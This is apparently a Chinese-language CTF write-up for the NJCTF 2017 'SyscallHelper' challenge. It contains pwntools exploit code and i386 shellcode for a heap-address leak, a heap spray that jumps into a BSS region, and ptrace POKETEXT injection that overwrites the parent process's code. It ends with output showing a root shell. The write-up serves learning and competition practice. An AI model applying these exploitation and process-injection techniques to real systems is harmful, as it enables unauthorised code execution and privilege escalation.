Leak
调试了一波,最后leak出heap的地址
def sys_pwn():
mine_env = os.environ
mine_env['LD_PRELOAD'] = './dealarm.so'
io = process('./syscallhelper', env=mine_env)
over_bss_addr = 0x814E100
puts_plt_addr = elf.plt['puts']
print 'puts plt address', hex(puts_plt_addr)
m_argvs = {'-10' : p32(puts_plt_addr)}
add_syscal(io, 'df', 233, -1, m_argvs)
set_syscal(io, 'df')
cal_syscal(io);
data = io.recv(4)
lek_heap_addr = u32(data.ljust(4, '\x00'))
print hex(lek_heap_addr)
关于读取的那两个文件,后面其实没怎么用到
hijack message
程序中留了message输入,而且堆地址前面也能leak,开始想算个精确的偏移,然后直接call到message处,但是调试发现分配之后的偏移不一定,所以通过堆喷来写入shellcode,由于后面还有很长的shllcode,不方便放在堆喷的shellcode里,所以这里只是做个跳板,跳到bss段(出题人故意留了很长的bss段)
def prod_jmprd_shell():
shell_stage1 = '''
#define BSS_ADDR 0X814A000
xor eax, eax
mov al, 3
xor ebx, ebx
mov ecx, BSS_ADDR
mov edx, 0x12345678
int 0x80
mov eax, BSS_ADDR
call eax
xor eax, eax
inc eax
int 0x80
'''
pjshell_code = asm(shell_stage1, arch='i386')
return pjshell_code
# ....
shellcode = prod_jmprd_shell()
mine_msg = shellcode.rjust(0x300, '\x90')
mine_msg = mine_msg.ljust(0x7ff, '\x90')
# heap spray
SPRAY_LENGTH = 0x50
for i in range(SPRAY_LENGTH):
leave_message(io, 0x800, mine_msg)
#raw_input('what the address of message?')
msg_guess_addr = lek_heap_addr + 0x600
m_argvs = {'-10' : p32(msg_guess_addr)}
add_syscal(io, 'dead', 222, -1, m_argvs)
raw_input('start set?')
set_syscal(io, 'dead')
cal_syscal(io)
这里的shellcode中有3个int 80h,差unistd表就很容易知道
注意python调用pwntools的asm时,写的汇编里不能有;注释。。
- read(0, bss_addr, 0x12345678)
- call bss_addr
- exit()
ptrace
新姿势。。不过还是不太懂。参考dalao的asm
ptrace定义如下
SYNOPSIS
#include <sys/ptrace.h>
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
用ptrace可以挂到其他线程
#define BSS_ADDR 0x0814c010
mov eax, GETPPID_ID
int 0x80 ; getppid获得父进程pid
mov ebx, PTRACE_ATTACH ; pwntools 中已有定义
mov ecx, eax
mov eax, PTRACE_ID
xor edx, edx
xor esi, esi
int 0x80 ; ptrace(PTRACE_ATTACH, parent_pid, 0, 0)
test eax, eax
js failed ; retrun value != 0
jmp next_stage
再看看其返回值
RETURN VALUE
On success, the PTRACE_PEEK* requests return the requested data (but see NOTES), while other requests return zero.
成功就返回0,失败返回-1
shellcode
通过刚刚的ptrace已经挂到了父进程
下面还要进一步操作
get_shellcode:
pop edi ; return address
mov ebp, 0x20
mov edx, 0x08049E0D
write_shellcode:
mov ebx, PTRACE_POKETEXT
mov esi, dword ptr [edi]
mov eax, PTRACE_ID
int 0x80
test eax, eax
js write_shellcode
mov ebx, 0x100000
wait:
dec ebx
jnz wait
add edx, 4
add edi, 4 // 加上偏移
dec ebp
test ebp, ebp
jnz write_shellcode
detach:
mov ebx, PTRACE_DETACH
xor edx, edx
xor esi, esi
mov eax, PTRACE_ID
int 0x80
mov eax, 1
int 0x80
next_stage:
call get_shellcode
exec_sh:
....省略
其也不是特别难理解,首先看下PTRACE_POKETEXT
PTRACE_POKETEXT, PTRACE_POKEDATA
Copy the word data to the address addr in the tracee's memory. As for PTRACE_PEEKTEXT and PTRACE_PEEKDATA, these two requests are currently equivalent.
就是向目标地址写入1 个word
get shellcode第一行就是把刚刚call get shellcode的返回地址放入edi,即为 execve /bin/sh 代码地址,而目标地址就是父进程函数的waitpid结束的位置,代码段!(ptrace权限真高)
在写完后,执行ptrace deatch,然后exit,接下来这个进程就结束了,父进程的0x08049E0D开始执行,实际上执行了刚刚写入的shellcode!!
exp
最后的部分exp
raw_input('continue send?')
shellcode = real_shellcode()
io.sendline(shellcode)
raw_input('continue call?')
io.interactive()
最后居然。。。
[*] Switching to interactive mode
$ whoami
root
$ pwd
/home/deadfish/Pwn/2017-03/njctf/SyscallHelper/jail
是root。。可怕